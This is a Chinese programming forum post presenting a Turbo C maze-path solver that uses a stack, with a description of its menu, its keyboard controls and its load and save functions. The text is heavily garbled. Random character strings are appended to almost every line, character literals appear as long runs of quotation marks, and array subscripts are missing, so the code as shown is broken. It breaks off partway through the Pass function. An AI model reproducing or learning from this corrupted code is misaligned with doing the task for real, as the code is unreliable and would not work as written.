QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7685|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left># K/ m8 Q* V  }! v' G1 {
< align=left>程序目的:
, z" g* @/ `5 C: d6 t7 e输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
0 [, ~6 k6 L1 p, q. a/ r显示在屏幕上。! q6 M8 f6 Y: ]. `! d
程序实现:
' p: n$ d8 A% U. k6 U' @( z! l可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的/ z3 q9 `& Q1 f: ~3 l
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
; X* @" x" u2 ]& M- H; N入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
$ b4 K, c7 g; v5 |# h: a! D; d时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。6 a! P# U$ j9 C9 }
否则会出现错误信息。输入开始时全是墙,用上下左右键移动,. `: E& x+ h# d
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以% ^5 @0 b5 i, a/ G; P* {
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,& x9 r9 P; Q, m
找到路径时,屏幕下方会出现Path found,否则出现Path not found。
. w8 j' a, A' l  E$ o" u8 M程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。; K9 C8 o- z5 ^9 T3 r7 {# s
不可以在VC上编译。
; K; K4 |; j# _7 P7 s1 b  v下载DOS版和windows版的迷宫游戏全部代码
2 e: @* ]  |5 w  L, }4 y用户名:migong ! ^8 y, a/ @! q6 {% ]. D
----------------------------------------------------------------------------------
1 B2 O) q* R1 t7 I4 t" |/*2 f' T+ w: v; W
MazePath Demo BY Turbo C 2.0' `8 {! c0 Y2 Z& H
Copyright(c) RoverUnion. All right reserved.
- U- k; y; W& m* M# A$ y7 tFilename: Maze.c
) m7 Y& t& [) d- i& y! v. NAuthor Dongchengyu.
) V, I, T" N5 x& K, l' w0 f1 MVer 1.10
8 U/ t; G5 f( C0 ]*/+ M6 T# {0 c' G
#include &lt;stdio.h&gt;% q3 }) T% \7 l- f, @8 Z# x
#include &lt;stdlib.h&gt;
! E( A! e* G" L( u2 ]#include &lt;malloc.h&gt;) W# u) f7 A5 d  x) s( Z
#include &lt;conio.h&gt;
' s: _+ v) O  E#include &lt;dos.h&gt;
# B) n9 p# ]. ~#define OK 1
' C' q2 q* v. j9 @0 T#define ERROR 0
3 d" G6 Y3 S0 h6 x( _#define TRUE 1
2 K8 T" @7 u% q% @5 Z#define FALSE 0
  j( E% E/ A- a7 v* z: X+ }#define F9 0x43
- J0 U7 O$ ~0 {0 M5 C3 O0 M#define Esc 0x1b9 s% n9 G3 F& D7 B% ]
#define Del 0x53
7 g8 }. t% M7 g#define Home 0x47) L2 J. E5 B: N9 a% b) W1 m
#define End 0x4f  n& ?3 O2 y2 C
#define Space 0x20
# q$ G0 J) h9 }+ l* d# p: k0 N+ g( ^#define Up 0x48
: {" ]# l/ @# |$ p5 t- f6 X1 b#define Down 0x50
6 p5 S0 p1 w2 k& Q. c! ~#define Left 0x4b9 K2 J6 T8 k- f7 d
#define Right 0x4d
! u& u, k0 q" F" i  T#define Enter 0x0d0 r0 x* e/ ?( K9 Y* c3 S3 s# c
#define F2 0x3c( ?6 O. o5 T, s2 g
#define F3 0x3d
  G6 b3 V" G+ L9 S, t#define STACK_INIT_SIZE 200/ U' A' Q& R  y
#define STACKINCREMENT 10
7 {& a* Y. A  A2 }# ~$ mtypedef int Boolean;! K; b7 J1 l+ X
typedef int Status;, ~  J+ l! G  h, P& K) {$ z& a5 `
typedef struct {; n5 e7 J1 [* Z
int x;
; ?  N3 l5 W+ T+ yint y;; F: s& @! d! U4 q9 s
} PosType;
+ z" ]" B; G1 {; Z7 T  Etypedef struct {+ O6 @" U. g3 N- M( k
int ord;* N% ]* {+ B0 }' @  `1 l
PosType seat;& W- `* I6 m9 J$ Q+ k
int di;
: i5 J% q6 O9 C. Z} SElemType;
# T8 Z' k  @) I6 v: L% _typedef struct {
/ i; b; `* F# V% Q. u' oint td;
6 e  p& G- X5 F) ]7 aint foot;
! m. \9 w) n5 S$ O$ R9 ~& [int mark;
" x8 y& W9 v) q8 A} MazeType;4 L) y5 r& J1 `# X8 L8 H# S2 J
typedef struct {3 p% I- g4 L4 j  q
SElemType *base;
5 l* d7 }& @) ^# SSElemType *top;/ f) M$ I7 M* l2 s: ?
int stacksize;% x) q- g- C" e  }9 g0 o
} Stack;
, T0 X3 y' w3 `int Maze[20][30];6 x2 |+ |7 G( }
MazeType maze[20][30];: c' I: Z! N: |: T7 M: U4 S
PosType StartPlace;; r# t3 m% a2 h7 e. h
PosType EndPlace;% q/ Q: n4 `+ J1 w% e
int count;4 Q% ]/ a8 `$ j5 U& i
int m,n;
4 E. h( ]' r) h) }6 Q. ?- KBoolean b_start=FALSE,b_end=FALSE;
2 |" i* l5 ^& B0 s" G: e$ @8 Kvoid CreatMaze(void);$ {2 n. \3 W6 ]8 `) A! w: B
Status SaveMaze(char *filename);
0 K+ C/ \9 j' q5 bStatus LoadMaze(char *filename);& g0 y9 A2 d1 U- y2 D: q3 P
void Error(char *message);: n; D/ S3 X3 X# R! {
Status InitStack(Stack *s);
* E! ]8 Q  H& `Status DestroyStack(Stack *s);
$ ]0 e+ l8 M0 b3 p) @! B. tStatus ClearStack(Stack *s);
3 k- L! E# ]' L# \, }" K, DBoolean StackEmpty(Stack *s);
4 u6 D0 N* _% S$ b9 a7 g7 Z5 Gint StackLength(Stack *s);
) D; g. i3 E& {8 _, H; ^Status Push(Stack *s,SElemType e);' T* W3 j  i8 C( ]6 _; `
SElemType Pop(Stack *s,SElemType e);
+ ]& p4 E5 d! Y: h' a! wStatus GetTop(Stack *s,SElemType *e);
/ H) {- |; F) T9 r' @* k* @Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
2 x: ?) h6 Q1 P4 R# ~. dBoolean Pass(PosType curpos);
1 m# ^2 n; s( Fvoid MarkPrint(PosType seat);, U5 y6 z; [0 L
void FootPrint(PosType curpos);
  W  d6 _  \( j+ vPosType NextPos(PosType seat,int di);
$ X7 t. `0 d3 C; }. kStatus MazePath(PosType start,PosType end);  g, _% t3 v  j; w' l
void CreatMaze(void)4 h6 g2 J. x# `2 o8 a: D3 x
/* Form the maze. */2 h: A, E6 B/ W& j7 N
{
) x/ v! N, P$ Vvoid Error(char *message);
1 a3 C* o. i# X; U6 s) Q8 GStatus SaveMaze(char *filename);
+ s' e4 J/ `7 p7 MStatus LoadMaze(char *filename);
6 Q0 O3 {: [! u0 Z2 s8 Z% mint i,j;0 y: V8 J. Q5 I: M; A/ Z' t
int x,y;1 i2 ~* j/ N. N  d" S( m
char c;
- t  D. a# g6 F9 @char savename[12],loadname[12];
. _0 K9 |. b& e. @3 b$ u# TBoolean flag=FALSE,load=FALSE;; \5 ]& V+ d2 |* J3 |
clrscr();
7 m( E) f# N$ Sprintf("Menu:\n\n");
1 \2 ^, c9 |# k% {printf("1.Load Mazefile*.dd)\n\n");$ U+ d% |2 A/ Y7 r
printf("2.Input Maze:\n\n");8 K. H& Q0 ~& l* m
printf("Input your choice: ");
+ ?2 ^, \: j, Zdo
+ c4 g+ F- J) U$ |/ `{, S9 x  t# y, w8 f  x
c=getch();- {' ^1 e- X& k: d9 v/ J
switch(c)
/ x. Z( f' {; v; Y. E) U. l{, w- b( @* I0 ~  ]- I
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
5 q- ^8 `6 Y7 p5 J6 W: f  P( `case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;, s- P; u: e# f# d2 _% @! {: U
case Esc: sleep(1); exit(1);
0 @, ?8 U$ j* |- d! f0 f' Sdefault: break;3 u9 y( h" }3 R& C5 a
}0 J9 K8 Z$ _) I2 D% F
}
/ L7 v+ b8 |) [while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;' Y& X- t+ N6 F6 ~4 S6 J6 J
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
  `0 O$ O% Y6 [) ]4 V9 r- m{
" k/ V- W3 @6 [( H+ uprintf("\n\nLoadName: ");$ I7 I. [+ M/ Z$ S/ w4 G& B6 t/ D
scanf("%s",loadname);
; r' v1 S" U: f: V% zif(LoadMaze(loadname))4 d8 A! B6 O2 `4 {( C  V
{  J8 C+ g5 ~- J
sleep(1); load=TRUE;
. I8 b4 i# W$ T" e( h$ @3 E' G# |}
% Y: i) z' V5 L, a: k( M4 Telse { gotoxy(1,9); printf("Load fail! "); }4 r2 m5 U' ?1 m0 e3 f+ t
}
) L; D+ N1 C  ]if(!load)% c( Y; y0 [6 j& J1 c  i
{& Q) R+ U: ?( s, n1 ?0 t! A! ~
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");. {+ j8 B9 ]( k0 b: V9 W0 O
printf("\nInput Length :\n");
/ l) t5 D2 H) i3 g, u  Y0 dscanf("%d",&amp;m);
% ~/ [4 b! V  n3 q' k$ J2 |2 hprintf("\nInput Width :\n");! a# q/ K# ]9 D
scanf("%d",&amp;n);
9 C: |2 E  s4 y" u) Sif(m&lt;4||n&lt;4) Error("Input");( }& F6 `" v7 ^& x# u+ |
if(m&gt;30||n&gt;20) Error("Maze too large");1 I7 S% ^) Q9 m; @- R) M- o
for(i=0;i&lt;30;i++)
2 X/ U1 d2 K$ X. P6 xfor(j=0;j&lt;20;j++)
% \* o7 P" ~! C  UMaze[j]=2;
8 A: _8 q& Q2 e$ IStartPlace.x=0;. q% v# b: ~' [5 Q" b% y
StartPlace.y=0;) I4 x. I* j: O2 L! _4 E, c8 G
EndPlace.x=0;* F$ ~8 \, l9 U( z
EndPlace.y=0;
6 [; X6 c7 ?, P, C/ ], B4 b; }" P" ~clrscr();
* ]; }: z- ^" V3 R0 v) Iprintf("\n");+ R  s# E9 U! I0 A2 G) O4 F6 e5 m- \& g/ _
for(i=1;i&lt;=n;i++)2 V+ H/ N' F( K: V0 N8 @, j
{
  g2 X. h, A& L" J7 v& kfor(j=1;j&lt;=m;j++)
; V0 _1 ?6 D: m( D" g, |{( m* S) ~0 F& \8 i" g# w
printf(" #");
8 g, }; {- x' w; \2 C6 ~* X# C" fMaze[i-1][j-1]=0;9 G) l0 t3 I) ]* e/ ^. s+ L: e% ]
}: k: a% g$ Q' [7 T
printf("\n");
, C+ C+ H. v2 _, C  Z7 ^, Q}
* O6 }5 z: c7 n# i( h5 i}+ _! [' ~" {5 g8 [6 A" P
gotoxy(65,5);7 e  N; ]3 W* y# U/ Y8 h+ S- |
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");  n6 o% c( v% @' i) S! l- w& _
gotoxy(65,7);5 n( _3 J# u% M% z
printf("Start:Home");8 D5 J2 k- m  J( _
gotoxy(65,9);6 t$ S1 k; \# D- @
printf("End:End");
, t' S$ T+ t% u: m; rgotoxy(65,11);
# G( j/ R* X  oprintf("Delete Wallel");0 W% Z9 T9 \! C# ?" v6 D
gotoxy(65,13);
: c, E1 f/ w2 z1 }printf("Enter Wall:Enter");
+ n8 f# o: |1 F/ q0 C/ l/ J+ }gotoxy(65,15);$ k  \% d0 Q, t- h9 T$ L
printf("Save Maze:F2");( n9 z; m+ n5 }, ?& i
gotoxy(65,17);
4 |& |6 t) W5 L% j9 a4 [; h* Oprintf("Complete:F9");
# c* K' @$ j6 Z& H) E5 Zgotoxy(65,19);
: S: ?( L( `& ^* ]4 J/ T' |printf("Exit:Esc");
% P4 i, V, U; Z. g, pgotoxy(4,3);, N0 a/ @( W# {' v# V
x=4;y=3;
0 v: F8 _( y5 U5 A: U* k: pdo' ?/ P, V' Z5 Q" y7 ^" {$ x0 i
{
" j1 a  r  w  j9 b3 Ec=getch();
6 C5 O+ m1 {: Nswitch(c)
* J* Z% Q8 P( [: ]( N+ w1 s& P{
( b9 g: o, x! M# G! ?' }case Up: if(y&gt;3) { y--; gotoxy(x,y); }
+ [5 O8 l& [& z# }5 O$ E. b, lbreak;
. ^1 b. G3 b3 p; ^7 K' r- u$ _* Ocase Down: if(y&lt;n) { y++; gotoxy(x,y); }! ?: _! S1 s: B5 E- a
break;" R" G9 @' o+ V
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
! g) E) c& X1 h1 wbreak;
, x: N% {4 n- \+ H# A/ R. K" ~case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }9 x$ R- E8 L0 r- Q7 L  f% R
break;
5 a0 A. N+ E' e: V/ z$ |" \/ k" I. h- xcase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;" c/ s" m' W" n' P% v5 Z
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;! u0 a6 M- N$ h& K. W: m
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);% h8 d/ {, q) h" N5 d
break;
; q/ c( S; z' Y+ \; {; T# l& P  Rcase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
! L5 l( L5 H1 w8 _% E# r6 _if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
4 c% h: L$ K/ ^, m& y4 _# Bputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
  r- d- h$ S5 ubreak;' W) J' F1 X# G
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
' a. S2 G! q4 k6 f: p{, t  \5 v" L+ E$ o/ C7 a
StartPlace.x=x/2-1;) F7 D* @% Q- W# d
StartPlace.y=y-2;% T2 V. I' K5 t! P. B
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
- g& C5 X! s8 _* M) `9 M7 xgotoxy(x,y);
- D8 B) d% N5 A+ Tb_start=TRUE;. \# |* Q$ t2 _2 X& w8 @) b: R+ s* A- U
}# G7 \2 |  g$ ]6 [8 F
break;# D: y; `3 ~; `
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
2 r) V7 D$ i( F7 L' ^{
2 \$ F4 j, b3 ^( A* ^  A6 UEndPlace.x=x/2-1;
  n9 u1 b# ~4 o2 r/ C7 A& K9 XEndPlace.y=y-2;$ |3 F$ h& x1 b  ?( e; _
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');; u4 e7 U2 P$ m1 I& s5 D
gotoxy(x,y);
' @" r, j9 T# Y, c/ c. r! cb_end=TRUE;
: f& Y% h0 ]& V  \+ T}
% j0 V+ g% [* s  Q  U8 Y! a4 Tbreak;
( @$ E. Q' Y9 I4 F9 hcase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);/ Y. `+ I3 s$ a
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
6 ]2 M: Q+ }/ n+ K8 [case F2: gotoxy(2,22);
3 Z  {8 Q- {7 c) ^+ Aprintf("Savename:");
$ h7 o: Q7 o2 g$ _4 A# Yscanf("%s",savename);
5 c. |+ w8 P$ U  p" Ngotoxy(2,22);- z$ G, G, e" N
if(SaveMaze(savename)) printf("Save OK! ");% Q% `' T8 u9 F( J
else printf("Save fail! ");
  i, s6 a' v2 @& o/ g: r/ s, ssleep(1);- i4 e  R, S2 I* ~8 @/ B& v
gotoxy(2,22);) V: W& }2 z. N0 V7 ~# H( t- |5 \
printf(" ");
1 g: C' b/ k( ^# Tgotoxy(x,y);
( y% |1 [: D3 A4 B% t5 q4 l/ Obreak;, u) T5 a0 U. H5 N3 D
default: break;1 l0 ?* ~# `( }' q
}
& Y' \- V, U2 x}) B- x0 G% U8 I: |/ g
while(!flag);
/ \- I$ o; X- {5 D- _for(i=0;i&lt;30;i++)- o  f+ w1 p: D- S
for(j=0;j&lt;20;j++); Y% k! c- T: R6 ?6 |% |) A
{
: O/ w$ @4 }& d' O/ ^! x4 n  }maze[j].td=Maze[j];4 }: C: a7 ]- P7 Z# @! z) S) X( O+ A
maze[j].mark=0;
5 h1 X/ A" l1 v- I4 l3 nmaze[j].foot=0;
* v- j5 [- M9 L+ i5 o+ v5 f, t}
, o' Z0 e6 b( \- E, L9 }: t}# p" B( O0 J  P1 Q7 W, a
Status LoadMaze(char *file)0 Q2 G( }! Q3 z/ Z$ E1 E3 F# ?* C
/* The maze has been loaded. */( v& D( U+ ], V  ~7 Q+ Z1 o! }7 @
{+ d$ o/ w4 J, B+ D
FILE *fp;
( ^7 ?- C0 {0 L2 Pchar *buffer;
' A1 I4 |: y) M+ A1 @1 ]; E' Pchar ch;0 ]% W& [& a  s" u$ M
int i=0,j,k;" y$ c7 q  J: M$ a& N: L5 s
Boolean len=FALSE,wid=FALSE;9 Q! w# S/ W; |) `# D2 k3 H3 s7 {
if((fp=fopen(file,"r"))==NULL)
. H8 p/ x! E! U' P1 j8 nreturn ERROR;2 a& `. t7 q- N. `" z; x4 A" [
buffer=(char *)malloc(600*sizeof(char));
+ D# b7 n& h3 E1 K' x7 A  Rch=fgetc(fp);0 |0 K$ q$ }$ ?8 l3 J# g2 I
while(ch!=EOF)
+ R" U1 ?" X6 E" N- ]: J8 z{9 `& J; L  @  j# R2 j3 X5 r
buffer=ch;7 K# O& s4 `. b
i++;. N. o( E( w0 A+ m" H$ Z6 J
ch=fgetc(fp);
' y4 E3 m7 n! X' o9 Y! n- }}8 n) d; |' N! ]
m=30;n=20;5 Q$ t& R6 n8 u& Y/ p6 e$ j9 S" v
for(i=0;i&lt;600;i++)
, B; d; H4 i2 o/ s{
8 x2 A6 q/ E5 O/ V2 F1 sj=i/30; k=i%30;
4 ~! e4 l1 r- x! f6 L  Fif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }0 q4 t" n% [8 ^" ]$ U3 L
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }  Y* U& c6 Q9 X3 O" G; U$ {# ]! {8 y' f
switch(buffer)
) u; v! ^0 C* D0 m; M. c{
6 G7 h7 L3 h( e( k- z% ?case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;8 \8 L% K9 g) f( v1 g; \$ }
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;5 A2 W) @$ ^, E0 r3 `$ c, ?
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;0 C  x3 x& B2 F" N1 h
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
' G9 i* p. Q5 c0 ZStartPlace.x=k;+ U' ^( y* x) L7 C9 B
StartPlace.y=j;8 a  x" m4 ^) M  t- ]
b_start=TRUE;3 w' J5 r/ l* A* H; W7 \/ W8 O8 t
break;) }# V! \& U( |& }  Q& ?% J
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;. X3 y. G1 Q3 H" X
EndPlace.x=k;
5 [$ |( v1 B' y1 T- g' P7 m9 m- sEndPlace.y=j;6 Z9 o+ S4 K9 D2 n" W; d! O/ n# |* P
b_end=TRUE;
0 I0 Q1 H% B. F! hbreak;
# ^* l' r( X2 \3 E7 Udefault : break;
9 w: j6 V4 a9 f}
8 p  `' N: ?' I}
& {. g0 A1 N$ H. x8 b) [fclose(fp);
4 W3 }2 {2 i) `0 q0 w( X& lclrscr();
; _" t+ B& ~+ i. K1 Yfor(i=0;i&lt;30;i++)3 u" m3 ^" _; W  A. r
for(j=0;j&lt;20;j++)
0 _7 _" S$ t% k2 o  ]4 q{
, F. J8 a" b- R0 A# {( T) lmaze[j].td=Maze[j];
: ~) G0 D& y/ K& D+ D+ }maze[j].foot=0;: Z0 A( U! u* I6 U* y$ \+ f
maze[j].mark=0;7 L# w$ A" f) ^! ^; d0 |0 y* @
if(Maze[j]==0)
1 _- {. ~, H5 i% U& m- n& r{* t; g6 c  |! H% z! N
gotoxy(2*i+2,j+2);
% {0 }1 n$ M$ aputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
" ?; S  z% R& G}
: ?/ {& o6 J, q! {1 A' G}
# {) J9 f7 c: d& C4 Z, m% ogotoxy(2*StartPlace.x+2,StartPlace.y+2);
* b5 a! ]9 c2 y# j( T& o' Pputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');3 a8 c* @4 E, j
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
0 {# U6 j; b+ H1 U  Fputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
" f; f  `) e# X5 P, I7 sreturn OK;
. X9 b, X+ k% O  b0 J5 W: B$ g$ m}' U+ L" N0 s  T7 @
Status SaveMaze(char *filename)/ N3 f( ?7 l! b
/* The maze has been saved. */
$ U2 y4 w# x, M( e( I' J' a( s{
9 O% s4 i& q9 H$ Z: c# ~6 kFILE *fp;
$ s4 G* C( f. t* q, bchar *buffer;
; D" Q% ^# N% Q( fint i,j,k;, n! W# j7 c: a! ^5 M3 F" R
fp=fopen(filename,"wb");
0 P1 i& c' q8 P  kbuffer=(char *)malloc(600*sizeof(char));& g" ~/ j# M: n: N5 ~7 F. \
for(i=0;i&lt;600;i++)
4 P. ^; ]$ s* R- S{0 @. x" v5 j, b7 N7 A3 D
j=i/30; k=i%30;
  i. Y& [& H) Oswitch(Maze[j][k])5 ]: a+ w" |; a7 B: n
{
2 c, W+ H- I& ?* X; R1 |9 Bcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;4 Q6 ~" n  j8 s
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;4 A. \2 M; \6 c9 y* W- z$ m; ]3 N
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;2 ^2 X0 k5 c% w' h3 W3 l
default : Error("Write"); break;
% E1 N# a: S& y  K/ ]}
0 y9 k% ^/ c' _4 Sif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
( h( a: A0 N) kif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';- e5 D9 s, z% Q- O6 B" x/ V! A5 s
}
- v& w# D: u' s% t. |; Z0 D# L! b) tfwrite(buffer,600,1,fp);
' h# M4 @# l7 ufree(buffer);$ L" ^  w5 [. R; A
fclose(fp);
1 M5 k( O5 d9 F( O7 Sreturn OK;
: T* H3 k. p1 f0 O0 P" u8 M}" ]# O6 Z: E- ~# t& v" |4 p8 R/ _
void Error(char *message)
4 K* l$ u6 G9 ?+ N. g{6 H1 O# t9 G- x
clrscr();1 C! h1 F/ r( \% [" @- V* S& w/ ~
fprintf(stderr,"Error:%s\n",message);
, r! [0 Q  Q$ [7 |8 V" jexit(1);
5 @$ w4 v: D+ s2 G% j+ y$ K} /* Error */
  @% n" l3 A, b4 v" I' p6 H5 F" h  B( o. g. z; ]. W* V+ b! }
Status InitStack(Stack *s)! u0 E! @8 s5 t5 [- b( b' b( J
/* The stack s has been created and is initialized to be empty. */
8 I* B7 o3 Z8 y* |  w3 O9 Q{  O  E+ E9 A5 J
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));  j* c3 z2 v3 q, q- |
if(!s-&gt;base) Error("Overflow");
, l% W% y7 U9 |/ [9 r' |s-&gt;top=s-&gt;base;. G$ r$ U6 R! r; s2 ]# O2 F2 I/ g' z
s-&gt;stacksize=STACK_INIT_SIZE;" D0 Y5 `- ~/ w. g% w+ z6 e7 X
return OK;
; z2 V+ ?  N. C% I/ T} /* InitStack */* w9 y8 x+ {% y, H* y
Status DestroyStack(Stack *s)( F" `9 ?- [( u% P4 w, v" M
/* The stack s has been destroyed. */
: o+ O) w! k- Z: V, @3 J5 L4 h, {3 X{
7 ~+ _0 K! s2 {s-&gt;top=NULL;) \6 V/ M9 _, l' Z& ]
s-&gt;stacksize=0;
' e& k/ |6 F# o; }free(s-&gt;base);' e8 V- k. K3 O0 z8 ~  E
s-&gt;base=NULL;0 u- I9 R( r0 P: d3 e
return OK;# h& N6 ~7 r/ I1 }5 u5 \
} /* DestroyStack */
3 U6 Y! x8 M7 d' x) J2 jStatus ClearStack(Stack *s)
. m* Y* {# |( S# n7 h9 S2 L! V: q/* The stack has been clear to be maximum. */
* t. g8 E+ q) j. w1 W{; u7 v3 Q4 W! M4 C1 c+ d
s-&gt;top=s-&gt;base;- a5 I; ^: y- C" U; x0 L, _+ [
s-&gt;stacksize=STACK_INIT_SIZE;6 I2 J* h% g, s/ k1 X/ w( J
return OK;' A& A* @9 W; V! i* X# F
} /* ClearStack */
7 W2 T% ?% {; v2 ^6 M0 X  P8 HBoolean StackEmpty(Stack *s): k/ `* o# R# `  l" M
/* Check if the stack s is empty. */
' E$ y/ T8 \$ R* c' o9 _% q3 y$ m{
( r3 R9 K3 ]* q, r+ uif(s-&gt;top==s-&gt;base) return TRUE;
) E1 Q# ~( L$ K$ m4 z5 ?else return FALSE;4 m/ e! X5 V+ y  s; j) _
} /* StackEmpty */- o* T0 V1 F4 s0 T
int StackLength(Stack *s)/ y' `* a; g* ~; h' c$ U  [0 I; F+ Y
/* Gain the length of the stack s. */
2 ]( I* e. o, Q{4 _( c8 y/ I. W/ M1 C' r( \
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);4 l$ x/ l6 t3 m) d/ T2 Z+ O5 O) F
else return 0;
- Y# ]1 G3 [. Q: f; H. w. V3 k} /* StackLength */7 ~+ L$ z0 c/ c( H5 J* u- b
Status Push(Stack *s,SElemType e)) i) k( @( W0 l+ x" Z
/* The element e has been pushed into the stack s. */
0 q# }  t0 H8 ]1 s{9 M9 f0 c+ j7 v3 F( Y3 U( V
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
6 A1 C7 N5 k3 Z  E  O{# b0 A0 M9 v& n9 b; q
s-&gt;base=(SElemType *)realloc(s-&gt;base,
6 A8 H6 H! t. b# s0 G" `, Z% ]; L. {(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));; \6 ~& S, Q0 V
if(!s-&gt;base) Error("Overflow");
7 O+ k6 S+ y& R, Q7 @7 rs-&gt;top=s-&gt;base+s-&gt;stacksize;
9 u# U, F9 x% P9 R8 ts-&gt;stacksize+=STACKINCREMENT;
4 x9 ]% w/ {# u. l. b}) [* ]- ?1 j1 a, r5 M0 B4 x  ^4 L6 q
*s-&gt;top++=e;
' U/ C# b2 O3 J2 I. t. ^" Qreturn OK;8 u/ u3 v# M: }  l
} /* Push */
5 O. ?* {) U  d# r; Y1 YSElemType Pop(Stack *s,SElemType e)
9 S' ]1 G4 Q/ G5 g$ A/* The element e has been removed from the stack s. */
, {( n, j" R. \3 X+ t) d3 a+ ]{
% l  a. p1 m5 M0 h) dif(s-&gt;top==s-&gt;base) Error("op");+ v2 ]) B8 Y3 E% K
e=*--s-&gt;top;
, p% g* `0 Z, a4 Wreturn e;
* U8 h" v5 M0 _} /* Pop */
* r* d, }1 p# R7 I: o7 s  A2 H* uStatus GetTop(Stack *s,SElemType *e)
' Q$ w" l; M- C9 f! n/* The element e has got to the top of the stack s.*/
/ J; [( f6 t' A' l! @{, r; m1 ]9 ^9 Q
if(s-&gt;top==s-&gt;base) Error("GetTop");
' E8 M* Z* l/ n( g- K  }' `5 Q*e=*(s-&gt;top-1);
- ~2 D1 I2 e0 hreturn OK;
" ~$ Y, u* x0 L) H6 `} /* GetTop */# h! _" d" _- }* Z5 E/ D: y" t
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
$ L# e; k9 e$ t3 t/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))8 Q2 F% f) W2 `! o
{! E/ J1 v/ s9 T( L! D/ q. b
SElemType p;
+ ?% l) z% ?' R% Y9 M% z9 ]5 r* lint result;
" z5 _+ }9 d1 D3 k$ ?if(s-&gt;top==s-&gt;base) return ERROR;
5 Y) ~8 _8 D  |" dp=s-&gt;base;0 y; X) N+ S% `" T) G
while(!(p==s-&gt;top))
' N, Y& [0 y, g- |{5 M$ _9 z! q% `0 Y9 E; {, [- M: `( }
result=(*visit)(p);
7 }. M# V5 P6 ?9 S( hp++;! N* d/ z) z/ u
}
' E( r+ t' x* v, U3 \3 }/ Areturn OK;
' j0 t* q0 O3 K" ^! A+ \} */
  p3 S* Q5 k% A. c* @4 b+ Z" a! s8 uBoolean Pass(PosType curpos)
. P/ N( W( [" m  [7 y# N! V" R/* Check if the current position can be passed. */
8 i8 J/ ~" w; r: q" ?+ {{7 `7 I1 W0 `. r: B% D+ F: g8 a
if(maze[curpos.x][curpos.y].td==1&amp;&amp;
4 x, W+ g' w( t6 \$ U6 Vmaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)( {1 ~- b9 f7 b! y8 B; J- m
return TRUE;
